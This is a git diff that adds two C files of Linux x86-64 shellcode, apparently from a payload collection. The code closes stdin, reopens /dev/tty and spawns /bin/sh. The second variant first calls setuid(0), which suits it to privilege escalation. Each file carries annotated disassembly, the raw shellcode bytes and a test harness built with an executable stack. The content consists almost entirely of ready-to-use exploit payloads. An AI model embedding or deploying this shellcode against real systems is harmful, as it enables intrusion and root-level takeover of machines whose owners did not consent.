diff --git a/Linux/x86-64/reopen_stdin.c b/Linux/x86-64/reopen_stdin.c new file mode 100644 index 0000000..2f2a54e --- /dev/null +++ b/Linux/x86-64/reopen_stdin.c @@ -0,0 +1,42 @@ +/* gcc -z execstack -o shell shell.c */ +/* stdin reopen & execve /bin/sh shellcode for Linux/x86_64 */ + +/* + 0x600880 : xor rax,rax + 0x600883 : push rax + 0x600884 : pop rdi + 0x600885 : mov al,0x3 + 0x600887 : syscall ; close(0) + 0x600889 : push rax + 0x60088a : movabs rdi,0x7974742f7665642f + 0x600894 : push rdi + 0x600895 : push rsp + 0x600896 : pop rdi + 0x600897 : push rax + 0x600898 : pop rsi + 0x600899 : mov si,0x2702 + 0x60089d : mov al,0x2 + 0x60089f : syscall ; open("/dev/tty", O_RDWR|O_NOCTTY|O_TRUNC|O_APPEND|O_ASYNC) + 0x6008a1 : push rax + 0x6008a2 : movabs rdi,0x68732f2f6e69622f + 0x6008ac : push rdi + 0x6008ad : push rsp + 0x6008ae : pop rdi + 0x6008af : push rax + 0x6008b0 : push rdi + 0x6008b1 : push rsp + 0x6008b2 : pop rsi + 0x6008b3 : cqo + 0x6008b5 : mov al,0x3b + 0x6008b7 : syscall ; execve("/bin//sh", ["/bin//sh"], NULL) +*/ + +char code[] = +"\x48\x31\xc0\x50\x5f\xb0\x03\x0f\x05" +"\x50\x48\xbf\x2f\x64\x65\x76\x2f\x74\x74\x79\x57\x54\x5f\x50\x5e\x66\xbe\x02\x27\xb0\x02\x0f\x05" +"\x50\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x50\x57\x54\x5e\x48\x99\xb0\x3b\x0f\x05"; + +void main(void) { + void (*f)() = (void(*)())code; + f(); +} diff --git a/Linux/x86-64/reopen_stdin_setuid_execve_binsh.c b/Linux/x86-64/reopen_stdin_setuid_execve_binsh.c new file mode 100644 index 0000000..34e6515 --- /dev/null +++ b/Linux/x86-64/reopen_stdin_setuid_execve_binsh.c @@ -0,0 +1,47 @@ +/* gcc -z execstack -o shell shell.c */ +/* stdin reopen & execve /bin/sh shellcode for Linux/x86_64 */ + +/* + "xorq %rdi,%rdi\n\t" + "mov $0x69,%al\n\t" + "syscall \n\t" + + 0x600880 : xor rax,rax + 0x600883 : push rax + 0x600884 : pop rdi + 0x600885 : mov al,0x3 + 0x600887 : syscall ; close(0) + 0x600889 : push rax + 0x60088a : movabs rdi,0x7974742f7665642f + 0x600894 : push rdi + 0x600895 : push rsp + 0x600896 : pop rdi + 0x600897 : push rax + 0x600898 : pop rsi + 0x600899 : mov si,0x2702 + 0x60089d : mov al,0x2 + 0x60089f : syscall ; open("/dev/tty", O_RDWR|O_NOCTTY|O_TRUNC|O_APPEND|O_ASYNC) + 0x6008a1 : push rax + 0x6008a2 : movabs rdi,0x68732f2f6e69622f + 0x6008ac : push rdi + 0x6008ad : push rsp + 0x6008ae : pop rdi + 0x6008af : push rax + 0x6008b0 : push rdi + 0x6008b1 : push rsp + 0x6008b2 : pop rsi + 0x6008b3 : cqo + 0x6008b5 : mov al,0x3b + 0x6008b7 : syscall ; execve("/bin//sh", ["/bin//sh"], NULL) +*/ + +char code[] = +"\x48\x31\xff\xb0\x69\x0f\x05" +"\x48\x31\xc0\x50\x5f\xb0\x03\x0f\x05" +"\x50\x48\xbf\x2f\x64\x65\x76\x2f\x74\x74\x79\x57\x54\x5f\x50\x5e\x66\xbe\x02\x27\xb0\x02\x0f\x05" +"\x50\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x50\x57\x54\x5e\x48\x99\xb0\x3b\x0f\x05"; + +void main(void) { + void (*f)() = (void(*)())code; + f(); +}